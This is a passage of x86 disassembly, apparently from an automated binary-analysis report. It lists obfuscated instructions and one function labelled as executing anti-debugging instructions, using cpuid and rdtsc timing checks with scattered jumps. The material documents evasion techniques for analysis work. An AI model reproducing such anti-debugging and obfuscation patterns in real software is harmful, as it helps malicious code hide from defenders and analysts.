pop word [esp + 0xc]
pop dx
neg si
jmp 0x7bc81d
bswap ebp
cpuid
cpuid
mov ebp, ebx
sub esp, 0x14
mov dword [esp + 9], edi
jmp 0x7bc833

Function at 0x7bcac7
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov si, 0x325f
bt edi, esi
mov word [esp], di
neg bh
mov byte [esp], bh
jmp 0x7bcab0
cld
pop word [esp + 2]
mov word [esp + 2], cx
mov di, dx
mov dword [esp], edi
pop ebp
jmp 0x7bca86
lea esp, [esp]
sub esp, 0x1b
rdtsc
bsr eax, esi
std
std
add esp, 1
xchg bh, cl
jmp 0x7bca9c